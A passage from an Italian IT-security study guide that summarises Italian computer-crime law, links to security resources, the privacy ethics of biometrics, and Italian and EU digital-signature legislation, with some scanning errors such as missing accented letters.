trodotte dalla legge 547/93 prevede un'aggravante specifi-
ca quando il reato commesso da un "operatore" del si-
stema, visto che tale figura, avendo ampio o totale accesso
alle risorse del sistema, ha un livello di responsabilit pari
alla posizione di vantaggio che potrebbe usare per com-
piere azioni criminose.
Accesso abusivo a un sistema informatico o te-
lematico, art. 615 ter C.P.
La legge sui crimini informatici ha introdotto il nuo-
vo bene giuridico, protetto dalla legge penale, di "do-
micilio informatico", in virt del quale, i sistemi infor-
matici e telematici non sono pi semplici strumenti,
ma spazi in cui il soggetto ha il diritto di esercitare le
proprie attivit, con la facolt di escludere i soggetti
terzi non graditi. Viene quindi punito chiunque si in-
troduce abusivamente in un sistema informatico o te-
lematico o vi si mantiene contro la volont tacita o
espressa di chi ha il diritto di escluderlo.
La sanzione prevede aggravanti nel caso di abuso
della qualit di operatore del sistema e qualora dal fat-
to derivi la distruzione o il danneggiamento del siste-
ma o l'interruzione totale o parziale del suo funzio-
namento, ovvero la distruzione o il danneggiamento
dei dati, delle informazioni o dei programmi in esso
contenuti.
Detenzione abusiva di codici d'accesso a sistemi
informatici o telematici, art. 615 quater C.P.
Viene punito chiunque, al fine di procurare a s o
ad altri un profitto o di arrecare ad altri un danno, abu-
sivamente si procura, riproduce, diffonde, comunica o
consegna codici, parole chiave o altri mezzi idonei al-
l'accesso a un sistema informatico o telematico, pro-
tetto da misure di sicurezza, o comunque fornisce in-
dicazioni o istruzioni idonee a tale scopo. E' prevista
un'aggravante se il fatto commesso con abuso della
qualit di operatore del sistema.
Diffusione di programmi diretti a danneggiare o
interrompere un sistema informatico, art. 615
quinquies C.P.
Viene punito chiunque diffonde, comunica o con-
segna un programma informatico da lui stesso o da al-
tri redatto, avente per scopo o per effetto il danneg-
giamento di un sistema informatico o telematico, dei
dati o dei programmi in esso contenuti o ad esso per-
tinenti, ovvero l'interruzione, totale o parziale, o l'al-
terazione del suo funzionamento.
Violazione, sottrazione e soppressione di corri-
spondenza, art. 616 C.P.
Viene punito chiunque prende cognizione del con-
tenuto di una corrispondenza chiusa, a lui non diretta,
ovvero sottrae o distrae, al fine di prenderne o di far-
ne ad altri prendere cognizione, una corrispondenza
chiusa o aperta, a lui non diretta, ovvero, in tutto o in
parte, la distrugge o la sopprime. Se il colpevole, sen-
za giusta causa, rivela, in tutto o in parte, il contenuto
della corrispondenza, punito se dal fatto deriva un
danno e il fatto stesso non costituisce pi grave reato.
Per corrispondenza si intende quella epistolare, te-
legrafica, telefonica, informatica o telematica ovvero
effettuata con ogni altra forma di comunicazione a di-
stanza.
Intercettazione, impedimento o interruzione il-
lecita di comunicazioni informatiche o telemati-
che, art. 617 quater C.P.
Viene punito chiunque in modo fraudolento inter-
cetta comunicazioni relative a un sistema informatico
o telematico o intercorrenti tra pi sistemi, ovvero le
impedisce o le interrompe. Salvo che il fatto costituisca
pi grave reato, la stessa pena si applica a chiunque
rivela, mediante qualsiasi mezzo di informazione al
pubblico, in tutto o in parte, il contenuto di tali comu-
nicazioni. E' prevista un'aggravante se il fatto com-
messo con abuso della qualit di operatore del siste-
ma.
Installazione di apparecchiature atte a intercet-
tare, impedire o interrompere comunicazioni
informatiche o telematiche, art. 617 quinquies C.P.
Viene punito chiunque, fuori dai casi consentiti dal-
la legge, installa apparecchiature atte a intercettare,
impedire o interrompere comunicazioni relative a un
sistema informatico o telematico ovvero intercorrenti
tra pi sistemi. E' prevista un'aggravante se il fatto
commesso con abuso della qualit di operatore del si-
stema.
Falsificazione, alterazione o soppressione del
contenuto di comunicazioni informatiche o tele-
matiche, art. 617 sexies C.P.
Chiunque, al fine di procurare a s o ad altri un van-
taggio o di arrecare ad altri un danno, forma falsa-
mente ovvero altera o sopprime, in tutto o in parte, il
contenuto, anche occasionalmente intercettato, di ta-
luna delle comunicazioni relative a un sistema infor-
matico o telematico o intercorrenti fra pi sistemi,
punito qualora ne faccia uso o lasci che altri ne fac-
ciano uso. E' prevista un'aggravante se il fatto com-
ma.
Danneggiamento di sistemi informatici e telema-
tici, art. 635 bis C.P.
Viene punito chiunque distrugge, deteriora o rende,
5.8.2.7: Conoscere
le principali forme di
crimini informatici
in tutto o in parte, inservibili sistemi informatici o te-
lematici altrui, ovvero programmi, informazioni o da-
ti altrui. E' prevista un'aggravante se il fatto com-
ma.
Frode informatica, art. 640 ter C.P.
L'ordinamento punisce chiunque, alterando in qual-
siasi modo il funzionamento di un sistema informati-
co o telematico o intervenendo senza diritto con qual-
siasi modalit su dati, informazioni o programmi con-
tenuti in un sistema informatico o telematico o ad es-
so pertinenti, procura a s o ad altri un ingiusto profit-
to con altrui danno. E' prevista un'aggravante se il fat-
to commesso con abuso della qualit di operatore
del sistema.
Altri reati via Internet
I crimini informatici sopra citati, caratterizzati da prati-
che illecite da parte di soggetti con adeguate conoscenze
tecniche, non sono le uniche fattispecie di reati che pos-
sono essere commessi attraverso Internet o le reti telema-
tiche. La tutela dei minori e la lotta contro la pedofilia so-
no esempi di attivit di contrasto di crimini che sfruttano
Internet per lo scambio illegale di informazioni.
A tale proposito, il Codice Penale stato aggiornato con
la legge 269/2998 che ha introdotto nuove fattispecie di rea-
to in materia di pornografia minorile.
Ai sensi dell'art. 600 ter, punito chiunque, al di fuori
delle ipotesi di sfruttamento di minori di anni diciotto, al fi-
ne di realizzare esibizioni pornografiche, di produzione e di
commercio di materiale pornografico, con qualsiasi mezzo,
anche per via telematica, distribuisce, divulga o pubbliciz-
za il materiale pornografico ovvero distribuisce o divulga
notizie o informazioni finalizzate all'adescamento o allo
sfruttamento sessuale di minori degli anni diciotto
Nel quadro di riferimento per la formulazione dei crimi-
ni informatici va citata la Convenzione di Budapest del Con-
siglio d'Europa del 23 novembre 2001, sottoscritta anche
dall'Italia, che rappresenta il primo tentativo di disciplina
dei reati informatici a livello europeo. Ad essa seguono la
decisione quadro del Consiglio d'Europa relativa agli at-
tacchi contro i sistemi di informazione del 19 aprile 2002 e
la decisione quadro 2004/68 del Consiglio d'Europa del 22
dicembre 2003 relativa alla lotta contro lo sfruttamento ses-
suale dei bambini e della pedopornografia infantile.
Infine, un intero capitolo potrebbe essere dedicato alle
vicende legate alla legislazione del diritto d'autore, che
stata oggetto di scontri e polemiche fra le parti interessa-
te. Con la legge Urbani (Decreto legge 72 del 22 marzo 2004
convertito in legge con modificazioni dalla legge 128 del 21
maggio 2004) stato modificato l'art. 171 ter della Legge sul
diritto d'autore, introducendo una specifica sanzione per
chiunque, a scopo di profitto, comunica al pubblico, im-
mettendola in un sistema di reti telematiche, mediante con-
nessioni di qualsiasi genere, un'opera dell'ingegno protet-
ta da diritto d'autore o parte di essa in violazione dell'art.
16 della Legge sul diritto d'autore. La criticata legge Urba-
ni stata solo la prima di una serie di normalizzazioni che
secondo i detrattori difendono pi gli interessi delle cor-
poration che quelli dei cittadini.
Siti e mailing list
di sicurezza informatica
Quello che segue solo un piccolo campione utile come
punto di partenza. Esistono innumerevoli siti e mailing list
dedicati alla sicurezza informatica, alla preparazione per le
certificazioni e al diritto nel mondo informatico e telemati-
co. Una ricerca con Google e le parole chiave opportune
fornir un panorama aggiornato delle aree di interesse.
Legislazione
ICTLEX www.ictlex.net
Testi, documenti, normativa e giurisprudenza su Internet e
quello che le ruota attorno
NewLaw, www.newlaw.it
Novit giuridiche ed economiche dell'information techno-
logy
InterLex, www.interlex.it
Periodico plurisettimanale di carattere informativo, scien-
tifico e culturale giuridico
MediaLaw, www.medialaw.it
Rivista tematica su diritto dell'informazione e dell'infor-
matica, privacy e diritto d'autore
NetJus, www.netjus.org
Diritto dell'informatica e informatica giuridica
Italian Cyberspace Law Conference, www.iclc.org
Evento annuale dedicato al diritto delle nuove tecnologie,
dell'informatica e delle telecomunicazioni
Siti istituzionali
Consiglio d'Europa, www.coe.int
La pi vecchia (1949) organizzazione politica del conti-
nente
Garante per la protezione dei dati personali, www.garante-
privacy.it
Protezione dei dati personali in ogni settore della vita so-
ciale, economica e culturale
Centro Nazionale per l'Informatica nella Pubblica Ammini-
strazione, www.cnipa.it
Supporto alla pubblica amministrazione nell'utilizzo effi-
cace dell'informatica
Associazioni di categoria
ACM, Association for Computing Machinery, www.acm.org
IEEE, Institute of Electrical and Electronic Engineers,
www.ieee.org
IEEE Computer Society, www.computer.org
ISACA, Information Systems Audit and Control Association,
www.isaca.org
(ISC)2, International Information Systems Security Certifi-
cation Consortium, www.isc2.org
CSI, Computer Security Institute, www.gocsi.com
SANS (SysAdmin, Audit, Network, Security) Institute,
www.sans.org
CLUSIT, Associazione Italiana per la Sicurezza Informatica,
www.clusit.it
Certificazioni e materiali di studio
Certificazione CISSP, www.cissp.com
Global Information Assurance Certification, www.giac.org
Mailing list
Una quarantina di mailing list di sicurezza, inclusa la nota
BugTraq: www.securityfocus.com/archive
Cryptogram, email newsletter mensile di Bruce Schneier:
www.schneier.com/crypto-gram.html
Una decina di newsletter di SANS: www.sans.org/newslet-
ters
Mailing list in italiano Ml (sicurezza informatica) e Lex (di-
ritto nell'ICT): www.sikurezza.org/wiki/Main/Liste
Etica e privacy della biometria
Negli anni recenti lo sviluppo delle tecnologie biometri-
che e la richiesta di strumenti di autenticazione pi effica-
ci validi anche su vasta scala hanno accelerato la diffusio-
ne di applicazioni biometriche. Queste sono basate per lo
5.8.2.8: Conoscere
le mailing-list e URL
principali relativi alle
aree della sicurezza
informatica
5.8.2.9: Essere
consapevoli degli
aspetti etici e di
tutela della privacy
relativi alla biometria
pi sul riconoscimento di caratteristiche fisiche, come le
impronte digitali, la geometria della mano, la forma dell'i-
ride o della retina, la voce o il volto.
La biometria pone una minaccia per la privacy, perch il
suo utilizzo porta a una perdita di autonomia dell'indivi-
duo, fornisce allo stato gli strumenti di monitoraggio dei
cittadini e solleva obiezioni di natura filosofica, culturale e
religiosa. D'altra parte, la biometria pu essere usata per
proteggere l'integrit delle informazioni e per impedire il
furto d'identit. I governi e le organizzazioni internazionali
hanno quindi un ruolo importante nel regolamentare l'uso
delle tecnologie biometriche, in particolare la raccolta e la
diffusione dei dati biometrici.
La privacy consiste di tre componenti: segretezza, ano-
nimato e solitudine. In una scena ideale di privacy perfet-
ta, nessuno ha informazioni su X, nessuno presta attenzio-
ne a X e nessuno ha accesso fisico a X (R. Gavison, "Privacy
and the limits of the law", Yale Law Journal, 1980). Un quar-
to di secolo fa tale visione era facilmente condivisibile. La
recrudescenza delle azioni terroristiche ha spostato il
punto di vista delle popolazioni colpite, inclini (o persuasi
dai media) a rinunciare a una quota significativa dei propri
diritti civili in cambio di maggiore sicurezza. D'altra parte,
tale atteggiamento rischia d'innescare un feedback positi-
vo tra eventi allarmanti e restrizioni dei diritti umani e ci-
vili, declinato in modi diversi a seconda delle condizioni po-
litiche e sociali degli stati. Per esempio, negli Stati Uniti l'e-
vento dell'11 settembre ha motivato, tra le molte iniziative,
l'adozione del controllo delle impronte digitali all'immigra-
zione, il progetto del passaporto biometrico, lo sviluppo
del riconoscimento facciale e via dicendo. Misure che oggi
sarebbero considerate impopolari e degne del grande fra-
tello orwelliano, sono da anni nel cassetto, pronte all'uso in
caso di necessit.
R. Clarke ("Human Identification in Information Systems:
Management Challenges and Public Policy Issues", Infor-
mation Technology and People, dic. 1994) ha osservato che
qualunque mezzo ad alta integrit per il riconsocimento
umano, come gli strumenti biometrici, rappresenta una mi-
naccia per le libert civili perch costituisce la base per
uno schema generalizzato d'identificazione che fornirebbe
un enorme potere sulla popolazione. L'intero comporta-
mento umano diverrebbe trasparente per lo stato e ogni
nonconformismo e dissenso potrebbe essere imbavagliato.
La storia ha dimostrato che informazioni personali raccol-
te inizialmente per uno scopo limitato, in seguito, a fronte
di eventi che hanno giustificato lo stato di necessit, sono
state utilizzate a scopo restrittivo e repressivo. Un esempio
il censimento degli stranieri, l'insorgere di ostilit o con-
flitti bellici e la conseguente detenzione.
Alla luce dell'esperienza, diffuso il timore che infor-
mazioni biometriche raccolte per salvaguardare gli inte-
ressi dei cittadini e inizialmente utilizzate per scopi limita-
ti (contrasto alle frodi, sicurezza aeroportuale, protezione
dei bambini), gradualmente verrebbero diffuse e utilizzate
per scopi diversi da quelli dichiarati in origine. Le leggi
stesse verrebbero modificate di conseguenza. Il giudice
americano L. Brandeis dichiar nel 1927: "L'esperienza ci
dovrebbe insegnare a stare in guardia per proteggere la li-
bert soprattutto quando i propositi del governo sono be-
nevoli. Gli uomini nati per la libert sono vigili per natura
e pronti a respingere le invasioni della loro libert da par-
te di governanti male intenzionati. I maggiori pericoli per la
libert sono in agguato sotto forma di insidiosa impercet-
tibile invasione da parte di uomini zelanti, apparentemen-
te di buone intenzioni, ma privi di comprensione". La pre-
dizione di Brendeis si avverata periodicamente, per
esempio quando il Social Security Number americano, isti-
tuito con l'esplicita clausola "Not for identification" (da non
usare per l'identificazione dei cittadini), nel 1961 fu tra-
sformato dall'IRS (l'ufficio delle imposte USA) in uno stru-
mento di identificazione simile al nostro codice fiscale. Og-
gi l'SSN pressoch indispensabile per la maggior parte
delle transazioni che coinvolgono credito, assicurazioni,
impiego, patente di guida, cure mediche eccetera; il passo
successivo la carta d'identit biometria. Tale avanza-
mento lento e strisciante delle funzioni di controllo, cos
graduale da passare inosservato, chiamato "function
creep" e inizia sempre con un'iniziativa apparentemente de-
siderabile e innocua.
Anche in Europa l'uso generalizzato e incontrollato del-
la biometria solleva preoccupazioni per la minaccia ai di-
ritti e alle libert fondamentali dei cittadini. La legge italia-
na sulla privacy (196/2003) all'articolo 37 prevede che i ti-
tolari del trattamento dei dati personali (anche biometrici)
debbano notificare tale trattamento al garante per la tute-
la dei dati personali.
A livello europeo, il Gruppo di lavoro per la protezione
degli individui per quanto riguarda il trattamento dei dati
personali, il 1 agosto 2003, ha adottato il "Documento di la-
voro sulla biometria" nel quale fissa i principi da osserva-
re per un corretto trattamento dei dati biometrici in rela-
zione alla direttiva CE 95/46.
Il gruppo di lavoro definisce come sistemi biometrici le
applicazioni di tecnologie biometriche che permettono l'i-
dentificazione e/o l'autenticazione/verifica automatica di
un individuo. L'elemento biometrico considerato univer-
sale (presente in tutte le persone), unico (distintivo di cia-
scuna persona) e permanente (valido nel tempo). Il gruppo
di lavoro distingue le tecniche biometriche in due catego-
rie: di tipo fisico e fisiologico (come le impronte digitali) e
di tipo comportamentale (come la firma autografa).
Nella fase di "iscrizione" i dati biometrici vengono rac-
colti ed elaborati in un modello ridotto archiviato in for-
mato digitale. Dato che alcuni dati biometrici grezzi pos-
sono rivelare informazioni sensibili (razza, etnia, salute), in
tali casi si devono applicare le norme che li tutelano.
I dati biometrici possono essere registrati su vari tipi di
supporto, come hard disk di un database centralizzato o di-
spositivi da portare con s (token USB, Smart Card, sche-
de ottiche). A scopo di autenticazione (dimostrare che si
chi si dichiara di essere), non occorre memorizzare i dati di
riferimento in un database centralizzato; ci invece ne-
cessario per l'identificazione (scoprire l'identit dell'indi-
viduo).
Il gruppo di lavoro fornisce una serie di principi fonda-
mentali per il trattamento di dati biometrici.
Principio della finalit
Per contrastare abusi e il function creep sopra citato,
necessario innanzitutto che sia determinato lo scopo del ri-
levamento e trattamento dei dati biometrici.
Il gruppo di lavoro ritiene che ai fini del controllo degli
accessi tramite autenticazione siano da preferire i sistemi
biometrici non basati sull'archiviazione dei dati biometrici
di riferimento (per esempio in un database o nel dispositi-
vo di controllo). Visto che l'autenticazione richiede solo la
corrispondenza tra il campione biometrico rilevato al mo-
mento e il campione di riferimento conservato in una Smart
Card o altro dispositivo mobile affidato all'interessato, non
c' ragione di cedere a terzi il campione di riferimento, con
il rischio di uso illecito.
Ne segue che il trattamento dei dati biometrici vietato
se incompatibile con lo scopo dichiarato per il loro utiliz-
zo. Per esempio, dati destinati all'autenticazione non pos-
sono essere usati a fini di sorveglianza.
Si deve tenere conto anche della facilit con cui certe ca-
tegorie di dati biometrici sono rilevabili all'insaputa dei
soggetti interessati. Sono documentate le modalit di rile-
vamento e riproduzione di impronte digitali e scansioni del-
l'iride capaci di ingannare i dispositivi correnti, che il pi
delle volte non utilizzano tecniche costose e sofisticate di
riconoscimento di un organo vivo. Di conseguenza, una
eventuale raccolta centralizzata di dati biometrici aumen-
terebbe ulteriormente il rischio di utilizzo illegale dei dati
per tracciare profili di comportamento degli interessati e il
rischio di diffusione dei dati biometrici allo scopo di com-
mettere truffe, effrazioni e altre azioni criminali. Conside-
rando che i dati biometrici durano per la vita, diversamen-
te da un password o da una coppia di chiavi, il rischio per
la privacy (in particolare il furto d'identit) consistente.
Un modo per limitarlo limitare l'interoperabilit di siste-
mi diversi che utilizzano dati biometrici.
Principio di proporzionalit
I dati biometrici raccolti non devono contenere pi
informazioni di quante siano necessarie allo scopo d'iden-
tificare o autenticare le persone. I dati superflui dovrebbe-
ro essere eliminati il prima possibile.
D'altra parte, i sistemi biometrici potrebbero servire a
difesa della privacy quando permettono di diminuire il trat-
tamento di altri dati personali quali il nome, l'indirizzo, la
residenza, eccetera.
Principio di lealt della raccolta e
dell'informazione
I dati biometrici devono essere trattati e soprattutto ri-
levati in modo leale. Il responsabile del trattamento deve
comunicare alla persona interessata la finalit del tratta-
mento e l'identit di chi ne responsabile. Devono essere
evitati i sistemi che raccolgono dati biometrici all'insaputa
dei soggetti interessati. In particolare, si deve tenere con-
to che i sistemi basati sul riconoscimento a distanza del
volto, la rilevazione delle impronte digitali, la registrazione
della voce (e potremmo aggiungere il rilevamento dell'iride,
anche a distanza) presentano maggiori rischi da tale pun-
to di vista.
Misure di sicurezza
Questa sezione comprende una serie di regole che de-
vono essere conosciute e applicate da qualunque organiz-
zazione interessata all'installazione di sistemi biometrici.
Il responsabile della custodia e del trattamento dei dati
biometrici deve provvedere ad adottare misure di sicurez-
za idonee a garantire la protezione dei dati personali dalla
perdita o distruzione accidentale o illecita, dall'alterazione,
dalla diffusione o dall'accesso non autorizzato. Tali misure
includono ad esempio la cifratura dei modelli biometrici di
riferimento, la protezione delle chiavi di cifratura e il con-
trollo e protezione degli accessi, cos da rendere pressoch
impossibile risalire ai dati originali partendo dai modelli.
Il gruppo di lavoro valuta favorevolmente la possibilit
di usare i dati biometrici come chiavi di cifratura. Questo
permetterebbe di evitare la creazione di database di mo-
delli biometrici, potenzialmente utilizzabili per fini illeciti.
In tal modo, la decodifica dei dati sarebbe possibile solo at-
traverso una nuova rilevazione del campione biometrico
presso la persona interessata.
Le misure di sicurezza devono essere adottate fin dalla
fase di "iscrizione", quando i dati biometrici vengono tra-
sformati in modelli o immagini. Il gruppo di lavoro ritiene
che in questa fase sia altissimo il rischio di perdita di inte-
grit, riservatezza e disponibilit dei dati, il che avrebbe
conseguenze irreparabili per le persone interessate. Viste
le loro caratteristiche, la sottrazione dei dati biometrici
equivale a una sottrazione d'identit.
Secondo il gruppo di lavoro, anche gli errori dei sistemi
biometrici possono avere pesanti conseguenze per gli inte-
ressati, portando al rifiuto erroneo di individui autorizzati e
all'accettazione indebita di soggetti non autorizzati, renden-
do particolarmente arduo, se non impossibile, accertare la
verit. Affidarsi in modo scriteriato alle macchine per vieta-
re in modo definitivo l'accesso ai viaggi aerei o l'ingresso in
una nazione, come riportato dalle cronache (e temuto dal
giudice Brandeis), opera di "uomini zelanti, apparente-
mente di buone intenzioni, ma privi di comprensione".
Nell'ultimo articolo, il gruppo di lavoro incoraggia l'a-
dozione di codici di condotta che recepiscano i principi di
protezione dei dati e la direttiva 95/46 CE.
Un ottimo testo di riferimento riguardante la biometria
"Biometrics", di Woodward, Orlans e Higgins, McGraw-
Hill/Osborne, 2003.
Normative europee
Nell'ordinamento giuridico italiano la firma digitale a
crittografia asimmetrica (detta anche a chiave pubblica)
riconosciuta ed equiparata a tutti gli effetti alla firma auto-
grafa su carta. Il primo atto normativo in tal senso fu il DPR
513/1997 (Decreto del Presidente della Repubblica) in at-
tuazione dell'art. 15 della legge 59/1997. Successivamente
tale normativa fu trasposta nel DPR 445/2000 ("Disposizio-
ni legislative in materia di documentazione amministrati-
va", il testo unico sulla documentazione amministrativa)
pi volte modificato negli anni successivi per conformare
la normativa italiana a quella comunitaria contenuta nella
Direttiva 1999/93/CE del Parlamento europeo e del Consi-
glio dell'Unione Europea del 13 dicembre 1999 relativa ad
un quadro comunitario per le firme elettroniche.
Oggi la legge che disciplina la firma digitale il Decreto
Legislativo 7 marzo 2005, n. 82 "Codice dell'amministrazio-
ne digitale". L'articolo 1 del decreto include le seguenti de-
finizioni:
q) firma elettronica: l'insieme dei dati in forma elet-
tronica, allegati oppure connessi tramite associazione
logica ad altri dati elettronici, utilizzati come metodo
di autenticazione informatica;
r) firma elettronica qualificata: la firma elettronica
ottenuta attraverso una procedura informatica che ga-
rantisce la connessione univoca al firmatario e la sua
univoca autenticazione informatica, creata con mezzi
sui quali il firmatario pu conservare un controllo
esclusivo e collegata ai dati ai quali si riferisce in mo-
do da consentire di rilevare se i dati stessi siano stati
successivamente modificati, che sia basata su un cer-
tificato qualificato e realizzata mediante un dispositi-
vo sicuro per la creazione della firma, quale l'appa-
rato strumentale usato per la creazione della firma
elettronica;
s) firma digitale: un particolare tipo di firma elet-
tronica qualificata basata su un sistema di chiavi crit-
tografiche, una pubblica e una privata, correlate tra lo-
ro, che consente al titolare tramite la chiave privata e
al destinatario tramite la chiave pubblica, rispettiva-
mente, di rendere manifesta e di verificare la prove-
nienza e l'integrit di un documento informatico o di
un insieme di documenti informatici;
Il decreto 82/2005 prevede la possibilit di avere pi ti-
pi di firma elettronica qualificata, vale a dire pi sistemi che
consentano l'identificazione univoca del titolare, uno dei
quali la firma digitale a chiavi asimmetriche. Di fatto, la fir-
ma digitale l'unico tipo di firma elettronica qualificata og-
gi utilizzato, perci i due concetti tendono a coincidere.
In base all'art. 5, a decorrere dal 30/6/2007, le pubbliche
amministrazioni centrali con sede nel territorio italiano
consentono l'effettuazione dei pagamenti ad esse spettan-
ti, a qualsiasi titolo dovuti, con l'uso delle tecnologie del-
l'informazione e della comunicazione.
Da notare che, per le regole tecniche di formazione, la
trasmissione, la conservazione, la duplicazione, la ripro-
duzione e la validazione, anche temporale, dei documenti
informatici, si applica il DPCM del 13/1/2004 (Decreto del
Presidente del Consiglio dei Ministri), che tra l'altro regola
l'uso delle marche temporali che certificano le date dei do-
cumenti informatici.
5.8.3 Normative
europee
5.8.3.1: Conoscere
gli aspetti legali della
firma digitale, anche
in relazione alle
direttive della
Comunit Europea
L'articolo 21 del DL 82/2005 stabilisce, con un rimando
al Codice Civile, che la firma digitale (o altra firma elettro-
nica qualificata) probatoria salvo querela per falso, equi-
parando il documento informatico sottoscritto con firma
digitale alla scrittura privata con firma autografa.
La titolarit della firma digitale garantita dagli enti cer-
tificatori accreditati presso il CNIPA (Centro Nazionale per
l'Informatica nelle Pubbliche Amministrazioni, ex AIPA),
che tengono registri delle chiavi pubbliche presso i quali si
pu verificare la titolarit del firmatario di un documento
elettronico (verificando la validit del certificato digitale
del titolare e dei certificati delle Certification Authority in-
teressate). L'attivit dei certificatori disciplinata da deci-
ne di clausole di cui agli artt. 26-32.
L'acquisizione di una chiave privata a pagamento e ha
una scadenza, nonostante sia un mezzo legale per l'eserci-
zio dei diritti naturali della persona.
La direttiva 99/93 CE reperibile presso www.giusti-
zia.it/cassazione/leggi/direttiva93_99.html.
Gli effetti giuridici della firma sono sintetizzati nell'art. 5
della direttiva:
Direttiva 99/93 CE, Articolo 5 - Effetti giuridici
delle firme elettroniche
1. Gli Stati membri provvedono a che le firme elettro-
niche avanzate basate su un certificato qualificato e
create mediante un dispositivo per la creazione di
una firma sicura:
a. posseggano i requisiti legali di una firma in rela-
zione ai dati in forma elettronica cos come una fir-
ma autografa li possiede per dati cartacei; e
b. siano ammesse come prova in giudizio.
2. Gli Stati membri provvedono affinch una firma
elettronica non sia considerata legalmente ineffica-
ce e inammissibile come prova in giudizio unica-
mente a causa del fatto che
- in forma elettronica, o
- non basata su un certificato qualificato, o
- non basata su un certificato qualificato rilasciato
da un prestatore di servizi di certificazione accredi-
tato, ovvero
- non creata da un dispositivo per la creazione di
una firma sicura.
Confrontiamo la norma europea con il DPR 445/2000
(Testo unico delle disposizioni legislative e regolamentari
in materia di documentazione amministrativa, www.parla-
mento.it/leggi/deleghe/00443dla.htm) e con il DL 82/2005
(Codice dell'amministrazione digitale, www.camera.it/par-
lam/leggi/deleghe/testi/05082dl.htm):
DPR 445/2000, Art. 10 (R) Forma ed efficacia del
documento informatico
1. Il documento informatico ha l'efficacia probato-
ria prevista dall'articolo 2712 del codice civile, ri-
guardo ai fatti ed alle cose rappresentate.
2. Il documento informatico, sottoscritto con firma
elettronica, soddisfa il requisito legale della forma
scritta. Sul piano probatorio il documento stesso li-
beramente valutabile, tenuto conto delle sue caratte-
ristiche oggettive di qualit e sicurezza. Esso inoltre
soddisfa l'obbligo previsto dagli articoli 2214 e se-
guenti del codice civile e da ogni altra analoga dispo-
sizione legislativa o regolamentare.
3. Il documento informatico, quando sottoscritto
con firma digitale o con un altro tipo di firma elettro-
nica avanzata, e la firma basata su di un certificato
qualificato ed generata mediante un dispositivo per
la creazione di una firma sicura, fa inoltre piena pro-
va, fino a querela di falso, della provenienza delle di-
chiarazioni da chi l'ha sottoscritto.
4. Al documento informatico, sottoscritto con firma
elettronica, in ogni caso non pu essere negata rile-
vanza giuridica n ammissibilit come mezzo di pro-
va unicamente a causa del fatto che sottoscritto in
forma elettronica ovvero in quanto la firma non ba-
sata su di un certificato qualificato oppure non ba-
sata su di un certificato qualificato rilasciato da un cer-
tificatore accreditato o, infine, perch la firma non
stata apposta avvalendosi di un dispositivo per la crea-
zione di una firma sicura.
5. Le disposizioni del presente articolo si applicano
anche se la firma elettronica basata su di un certifi-
cato qualificato rilasciato da un certificatore stabilito
in uno Stato non facente parte dell'Unione europea,
quando ricorre una delle seguenti condizioni:
a) il certificatore possiede i requisiti di cui alla di-
rettiva 1999/93/CE del Parlamento europeo e del Con-
siglio, del 13 dicembre 1999, ed accreditato in uno
Stato membro;
b) il certificato qualificato garantito da un certifi-
catore stabilito nella Comunit europea, in possesso
dei requisiti di cui alla medesima direttiva;
c) il certificato qualificato, o il certificatore, rico-
nosciuto in forza di un accordo bilaterale o multilate-
rale tra la Comunit e Paesi terzi o organizzazioni in-
ternazionali.
6. Gli obblighi fiscali relativi ai documenti informa-
tici ed alla loro riproduzione su diversi tipi di suppor-
to sono assolti secondo le modalit definite con de-
creto del Ministro dell'economia e delle finanze.
DL 82/2005
Art.24, Firma digitale
1. La firma digitale deve riferirsi in maniera univo-
ca ad un solo soggetto ed al documento o all'insieme
di documenti cui apposta o associata.
2. L'apposizione di firma digitale integra e sostitui-
sce l'apposizione di sigilli, punzoni, timbri, contrasse-
gni e marchi di qualsiasi genere ad ogni fine previsto
dalla normativa vigente.
3. Per la generazione della firma digitale deve ado-
perarsi un certificato qualificato che, al momento del-
la sottoscrizione, non risulti scaduto di validit ovve-
ro non risulti revocato o sospeso.
4. Attraverso il certificato qualificato si devono ri-
levare, secondo le regole tecniche stabilite ai sensi del-
l'articolo 71, la validit del certificato stesso, nonch
gli elementi identificativi del titolare e del certificato-
re e gli eventuali limiti d'uso.
Art. 25. Firma autenticata
1. Si ha per riconosciuta, ai sensi dell'articolo 2703
del codice civile, la firma digitale o altro tipo di firma
elettronica qualificata autenticata dal notaio o da altro
pubblico ufficiale a ci autorizzato.
2. L'autenticazione della firma digitale o di altro ti-
po di firma elettronica qualificata consiste nell'atte-
stazione, da parte del pubblico ufficiale, che la firma
stata apposta in sua presenza dal titolare, previo ac-
certamento della sua identit personale, della validit
del certificato elettronico utilizzato e del fatto che il do-
cumento sottoscritto non in contrasto con l'ordina-
mento giuridico.
3. L'apposizione della firma digitale o di altro tipo
di firma elettronica qualificata da parte del pubblico uf-
ficiale ha l'efficacia di cui all'articolo 24, comma 2.
4. Se al documento informatico autenticato deve es-
sere allegato altro documento formato in originale su
altro tipo di supporto, il pubblico ufficiale pu allega-
re copia informatica autenticata dell'originale, secon-
do le disposizioni dell'articolo 23, comma 5.
Il principio europeo di non negare rilevanza giuridica a
un documento informatico sottoscritto con firma elettro-
nica semplice o basata su un certificato non rilasciato da
certificatore accreditato, recepito dal Testo unico, in Italia
ha lasciato aperte varie interpretazioni sulla rilevanza giu-
ridica e sul valore probatorio di tali firme: la prima prefi-
gura l'assenza di prova legale del documento (con efficacia
rimessa alla valutazione del giudice); una seconda equipa-
ra tale firma alla firma cartacea non riconosciuta (quindi il
documento disconoscibile); una terza nega rilevanza giu-
ridica alla firma elettronica semplice, ritenendo giuridica-
mente rilevanti solo le firme avanzata, qualificata e digita-
le (in contrasto con la norma europea e il testo unico).
In sostanza, solo la firma digitale basata su un certifica-
to qualificato ha i requisiti tecnici per essere riconosciu-
ta e non ripudiabile.
La firma elettronica basata su un certificato qualificato
rilasciato da un certificatore residente in uno stato non fa-
cente parte dell'Unione europea valida se ricorre una del-
le seguenti condizioni:
1. il certificatore possiede i requisiti di cui alla direttiva
99/93 CE ed accreditato in uno stato membro;
2. il certificato qualificato garantito da un certificatore
residente nella Comunit europea e in possesso dei requi-
siti di cui alla 99/93;
3. il certificato qualificato o il certificatore riconosciu-
to in virt di un accordo bilaterale o multilaterale tra la Co-
munit e paesi terzi od organizzazioni internazionali.
Tra le applicazioni della firma digitale c' anche l'archi-
viazione ottica dei documenti cartacei e informatici, in ba-
se all'art. 6 del DPR 445/2000 e alla delibera n.11 del
19/2/2004 (Regole tecniche per la riproduzione e conser-
vazione di documenti su supporto ottico idoneo a garanti-
re la conformit dei documenti agli originali,
www.cnipa.gov.it/site/_contentfiles/01377100/1377105_DEL
11_2004.pdf).
Tutela e trattamento
dei dati personali
La direttiva 95/46 CE relativa alla tutela, al trattamento
e alla libera circolazione dei dati personali (http://www.ga-
ranteprivacy.it/garante/document?ID=432175) ha determi-
